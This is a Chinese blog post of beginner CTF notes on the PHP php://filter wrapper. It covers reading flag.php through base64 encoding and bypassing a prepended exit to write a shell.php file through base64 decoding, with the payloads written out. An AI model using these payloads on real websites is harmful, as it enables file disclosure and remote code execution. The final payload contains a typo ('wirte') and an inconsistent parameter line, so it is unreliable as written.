理解php://filter用处

php://filter是一个用于读取和写入文件的流协议,它可以用于对文件内容进行过滤和转换,例如使用convert.base64-encode来编码文件内容。在Web安全场景下,此功能可能被利用来绕过某些限制,如在代码注入中避开exit语句的影响。通过字符串拼接和base64解码,可以实现代码的写入和执行。
摘要由CSDN通过智能技术生成

理解php://filter


开始做一些简单的web题目,遇到的第一个题目[ACTF2020 新生赛]Include
1就是php://filter,结果没有做出来上网查了wp发现是这样一道题目就上网查了一下原理简单理解如下:

php文件内部分内容类似于注释等内容无法在界面中展示出来,使用php://filter可以实现文件的取,另外如果直接读取文件也同样无法读取全部内容,因此使用base64加密的方式将全部内容输出出来

具体命令如下:
file=php://filter/read=convert.base64-encode/resource=flag.php
内容输出后为base64编码,通过编码转换即可得到结果

深入学习filter这个协议后发现还有更深入的用法类似

<?php
$content = '<?php exit; ?>';
$content .= $_POST['txt'];
file_put_contents($_POST['filename'], $content);

.=为字符串拼接使用,在’<?php exit; ?>'后所有代码均不执行,因为提前有了个exit的动作。可以通过上传代码绕过该命令。使用file=php://filter/write=convert.base64-decode/resource=flag.php
txt=aPD9waHAgcGhwaW5mbygpOyA/Pg==;filename=php://filter/wirte=convert.base64-decode/resource=shell.php

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值